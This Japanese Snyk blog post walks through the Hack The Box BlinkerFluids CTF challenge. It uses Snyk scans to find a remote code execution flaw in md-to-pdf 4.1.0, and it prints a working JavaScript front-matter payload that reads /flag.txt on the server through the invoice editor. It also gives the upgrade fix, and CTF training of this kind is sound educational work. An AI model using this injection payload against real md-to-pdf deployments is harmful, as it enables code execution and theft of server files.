Skip to main content

SnykでHack the BoxなどのCTFチャレンジを攻略する

著者
Headshot of Mathias Conradt

Mathias Conradt

feature ctf challenge

2022年9月1日

0 分で読めます

Hack The Box(HTB)は、サイバーセキュリティのトレーニングをゲーム感覚で学べるプラットフォームです。ペネトレーションテスターを目指す人はもちろん、セキュリティチャンピオンを目指す開発者や、アプリケーションの安全性を高めるために攻撃者の考え方を理解したい人にも最適です。

トレーニングや教育におけるゲーミフィケーションの効果を、私は信じています。正直なところ、社内セキュリティ研修に参加したり、認定試験の勉強をしたりしても、半年後には学んだことをすっかり忘れてしまう、という経験は誰にでもあるのではないでしょうか。HTBは、実践的なキャプチャー・ザ・フラッグ(CTF)ゲームという別のアプローチを採用しています。プレイヤーは、通常LinuxまたはWindowsの仮想マシンであるマシンに侵入し、脆弱性を発見して悪用することで、2つのフラグを取得します。まず一般ユーザーのフラグを獲得し、次に権限昇格によってrootユーザーのフラグを取得します。フラグとは、マシン上にある特定のテキストファイルの内容です。

Hack The Boxでは、プラットフォームの中心となる「マシン」のほかに、「チャレンジ」と呼ばれる小規模なタスクにも取り組めます。チャレンジは通常、やや短時間で完了でき、取得するフラグも1つだけですが、多くの場合、ダウンロード可能なリソースファイル一式が用意されています。たとえば、Wiresharkで解析するpcapファイルや、対象アプリケーションのソースコード一式などです。ソースコードがあれば、アプリケーションの構造やコードを分析できます。まさにSnykが役立つ場面です。

Snykを使えば、脆弱性や侵入経路となり得る箇所をすばやく見つけられます。Snyk CLIでは、プロジェクトに対してSAST(静的アプリケーションセキュリティテスト)とSCA(ソフトウェア構成分析)を実行できます。また、package.jsonなどのアプリケーションマニフェストファイルをスキャンし、オープンソースライブラリに含まれる既知の脆弱性を検出します。PoCも提示してくれます。

BlinkerFluidsチャレンジの分析

BlinkerFluidsチャレンジは、HTBの魅力をよく示す好例です。比較的簡単で、入門にも適しているため、この記事ではデモとして取り上げます。

ダークテーマのBlinkrFluidsダッシュボード。監視対象サービスの一覧、ステータスチャート、アラート、サービスの詳細が表示されています。

チャレンジを起動すると、ホストのIPアドレスとポート(この例では46.101.2.216:32221)が表示されます。ブラウザーで開くと、シンプルなインターフェースのウェブサイトが表示されます。

BlinkerFluidsのチャレンジ画面。インスタンスの詳細、ダウンロード手順、謎の液体供給業者についての説明が表示されている

http://46.101.2.216:32221を開いて、このターゲットURLの先に何があるか見てみましょう。

アプリケーションは、請求書の一覧と、請求書をPDFとしてエクスポート、削除、新規作成する機能を備えた単一ページで構成されています。

Blinker Fluidsの請求書一覧ページ。発行日、PDFエクスポート、削除アクションを備えた請求書エントリーと、「新しい請求書を作成」ボタンが表示されています

PDFのエクスポートリンクにカーソルを合わせると、PDFは静的アセット用と思われるフォルダーから配信されていることがわかります。

Blinker Fluidsの請求書一覧。請求書、発行日、PDFエクスポートオプション、削除アクション、「新しい請求書を作成」ボタンが表示されています。

請求書作成用のエディターは、マークアップ言語(Markdown)で入力した内容をPDFに変換するWYSIWYGエディターのようです。

Blinker Fluidsの請求書作成画面。会社情報、顧客情報、商品明細、合計金額、「保存」ボタンが表示されている

実際のターゲットホストをさらに調べる前に、チャレンジで提供されているリソースをダウンロードしましょう。zipファイルをダウンロードして展開すると、Dockerイメージとしてパッケージ化されたNodeアプリケーションのソースコード一式が手に入ります。Dockerfileとpackage.jsonも含まれています。

ルートフォルダーにはflag.txtもあります。HTBのチャレンジでは、通常/flag.txtのパスにフラグが置かれています。ただし、このzipパッケージ内のファイルは単なるプレースホルダーで、探している実際のフラグではありません。HTBプラットフォームでは、独自のロジックでオンライン上のフラグを生成し、ローテーションしています。いずれにしても、これでBlinkerFluidsアプリの材料と仕組みがわかりました。

─$ tree -L 2 
. 
├── build-docker.sh 
├── challenge 
│ ├── database.js 
│ ├── helpers 
│ ├── index.js 
│ ├── node_modules 
│ ├── package.json 
│ ├── package-lock.json
│ ├── routes 
│ ├── static 
│ └── views 
├── config 
│ └── supervisord.conf 
├── Dockerfile 
└── flag.txt 
7 directories, 8 files

実際のアプリケーションは「challenge」サブフォルダーにあります。node_modulesには、直接依存および推移的依存となるNodeライブラリがいくつか設定されています。また、先ほど見たエクスポート済みPDFの配信元と思われるstaticフォルダーも確認できます。

╰─$ tree -L 2 
. 
├── database.js 
├── helpers 
│ └── MDHelper.js 
├── index.js 
├── node_modules 
│ ├── ... 
│ ├── marked 
│ ├── md-to-pdf 
│ ├── media-typer 
│ ├── ... 
├── package.json 
├── package-lock.json 
├── routes 
│ └── index.js 
├── static 
│ ├── css 
│ ├── images 
│ ├── invoices 
│ └── js 
└── views 
└── index.html 
379 directories, 7 files

Snykによる脆弱性スキャン

オンラインのインスタンスに侵入して/flag.txtを取得する方法を探しているため、コードを詳しく調べてロジックを理解できます。時間と紙幅の都合上、この記事では詳細には立ち入りません。

基本的には、独自に記述されたコードか、直接依存または間接依存(推移的依存)のいずれかに含まれる脆弱性を探します。

Snyk CLIを使えば、その両方を調べられます。Snykをまだインストールしていない場合は、次のコマンドを実行してください。

npm i -g snyk

または、Snyk CLIのインストールページに記載されている、お好みの方法でインストールしてください。

まずchallengeサブフォルダー内で、独自コードに対するSASTテストを実行します。

snyk code test

すると、次の結果が表示されます。

$ snyk code test

Testing 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...

  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
    Path: index.js, line 2 
    Info: Consider using csurf middleware for your Express app to protect against CSRF   attacks.

  ✗ [Medium] Information Exposure 
    Path: index.js, line 2 
    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 

  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
    Path: routes/index.js, line 9 
    Info: This endpoint handler performs a file system operation and does
not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 

  ✗ [High] Cross-site Scripting (XSS) 
    Path: static/js/main.js, line 20 
    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 

✔ Test completed

Organization: e-corp-demo 
Test type: Static code analysis 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 

Summary:

  4 total Code issues: | 1 High | 3 Medium

脆弱性がいくつか見つかり、深刻度の高いものもありますが、今回の目的に利用できるものはありません。XSSはこの場合、あまり役に立ちません。それでは、SCAテストを続けましょう。

SCAテストでは、Snykがプロジェクトのマニフェストファイルを分析します(Node.jsの場合はpackage.jsonとpackage-lock.jsonです)。

$ cat package.json 
↵ 1 
{ 
        "name": "blinker-fluids", 
        "version": "1.0.0", 
        "description": "", 
        "main": "index.js", 
        "scripts": { 
                "start": "node index.js" 
        }, 
        "keywords": [], 
        "author": "rayhan0x01", 
        "license": "ISC", 
        "dependencies": { 
                "express": "4.17.3", 
                "md-to-pdf": "4.1.0", 
                "nunjucks": "3.2.3", 
                "sqlite-async": "1.1.3", 
                "uuid": "8.3.2" 
        }, 
        "devDependencies": { 
                "nodemon": "^1.19.1" 
        } 
} 

package.jsonにある直接依存は5つだけですが、package-lock.jsonを見ると、推移的依存を含めると合計371個もあります。これだけの脆弱性を手作業で確認するのは大変です。次を実行してみましょう。

$ npm install 
$ snyk test

次の結果が得られます。

$ snyk test

Testing
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...

Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 

Issues to fix by upgrading: 

  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity]  [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Remote Code Execution (RCE) [Critical Severity] 
[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
    introduced by md-to-pdf@4.1.0 

Issues with no direct upgrade or patch: 
  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 

Organization: e-corp-demo 
Package manager: npm 
Target file: package-lock.json 
Project name: blinker-fluids 
Open source: no 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
Licenses: enabled
CSRFやプロトタイプ汚染の脆弱性を含む、Express.jsの4つのセキュリティ問題を特定した静的コード解析レポートのターミナル画面。

今度はよさそうです。サービス停止を引き起こしてもプラットフォームへのアクセスにはつながらないため、ReDoSの問題は無視できます。一方、md-to-pdfの重大なRemote Code Execution (RCE)の脆弱性は有望です。まさに求めていたものです。md-to-pdfは、請求書のMarkdownをPDFに変換するヘルパーライブラリだと考えられます。

ここでSnykの威力がよくわかります。プロジェクトの依存関係を数秒で分析して脆弱性を検出し、Snyk Vulnerability Databaseへのリンクも提示してくれます。さらに、エクスプロイトのPoCや元の問題報告へのリンクも確認できます。

md-to-pdfパッケージの重大度9.8のリモートコード実行(RCE)脆弱性とコードスニペットを表示する、Snyk Vulnerability DBのページ。

この情報はエクスプロイトに役立ちますが、上のスクリーンショットにもあるように、Snykのレポートには問題の修正方法も提案されています。実際の対応につなげられる、実用的なアドバイスです。

How to fix? 
Upgrade md-to-pdf to version 5.0.0 or higher.

ただし、ここでは攻撃者の立場にいるので、詳しい情報を得るために元のGitHub issueも確認してみましょう。

GitHub issueで指摘されている問題は、gray-matter(md-to-pdfがフロントマターの解析に使用)が、デフォルトでJSエンジンを公開していることです。つまり、与えられたMarkdownに対してevalを実行するため、Markdownの内容を制御できる人なら誰でも任意のJavaScriptを実行できます。

元のPoCに加えて、コメント欄には少し変更を加えたPoCもあります。

悪意のあるJavaScriptパッケージと任意コード実行についてのコメントが表示された、ダークテーマのGitHub Issueページ。

このPoCは、ディレクトリの一覧を取得して表示しようとするものです。目的は/flag.txtにあるフラグの内容を確認することなので、少し変更を加えてフラグファイルの内容を読み取ります。

---js 
{ 
  css: `body::before { content: 
"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
---

このコードを請求書ジェネレーターに貼り付けて保存すると、探しているフラグが入ったPDFが生成されます。

Blinker Fluidsの請求書作成ページ。CSSのコードが表示されたダークテーマのコードエディターと、保存ボタンが表示されている
請求書ID、発行日、PDFエクスポートリンク、削除操作、「新しい請求書を作成」ボタンが表示されたBlinker Fluidsの請求書一覧
URLがぼかされたPDFと、PDF変換オプションが表示されたツールパネルを開いたAdobe Acrobatのブラウザーウィンドウ

このフラグを提出すれば、チャレンジクリアです。次のチャレンジに進みましょう :)

SnykでCTFの達人を目指そう

Hack The Boxのチャレンジは、脆弱性とその悪用方法を楽しく学べる方法です。今回のチャレンジでは、Snykがアプリケーションの依存関係をすばやく分析し、悪用方法に関する情報とともに重大なRCE脆弱性を提示してくれたため、攻略できました。また、アプリケーション開発者向けに、問題の修正方法も提示されました。

ぜひご予定ください。Snykは11月9日に「Fetch the Flag CTF」を開催します。16のチャレンジが待っています。ぜひ登録して、一緒に楽しみましょう。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップで、CTFチャレンジの解き方を学びましょう。

著者について

Mathias Conradtは、ソフトウェアエンジニアリングとプリセールスの経験を持つ起業家・サイバーセキュリティの専門家です。Snyk Ambassadorであり、DevSecCon Germany Chapterのリードを務めています。また、CTFプレイヤーでもあります。詳しくはこちらの個人ウェブサイトをご覧ください。

続きを読む

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSecのご紹介:AI開発のスピードに対応するセキュリティ

AI駆動型開発のスピードに、従来のセキュリティワークフローは追いついていません。SnykのAgentic AppSecは、セキュリティエージェントが脆弱性を継続的に検出、修正、検証し、人が基準を定められるようにします。

blog feature ai violet
Blog

VulnBump:AIエージェントはビルドを壊さずに脆弱な依存関係を修正できるか?

VulnBumpは、実際の依存関係アップグレード307件を対象にAIエージェントをテストします。脆弱性が解消され、ビルドとテストが成功した場合にのみ、修正としてカウントされます。

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。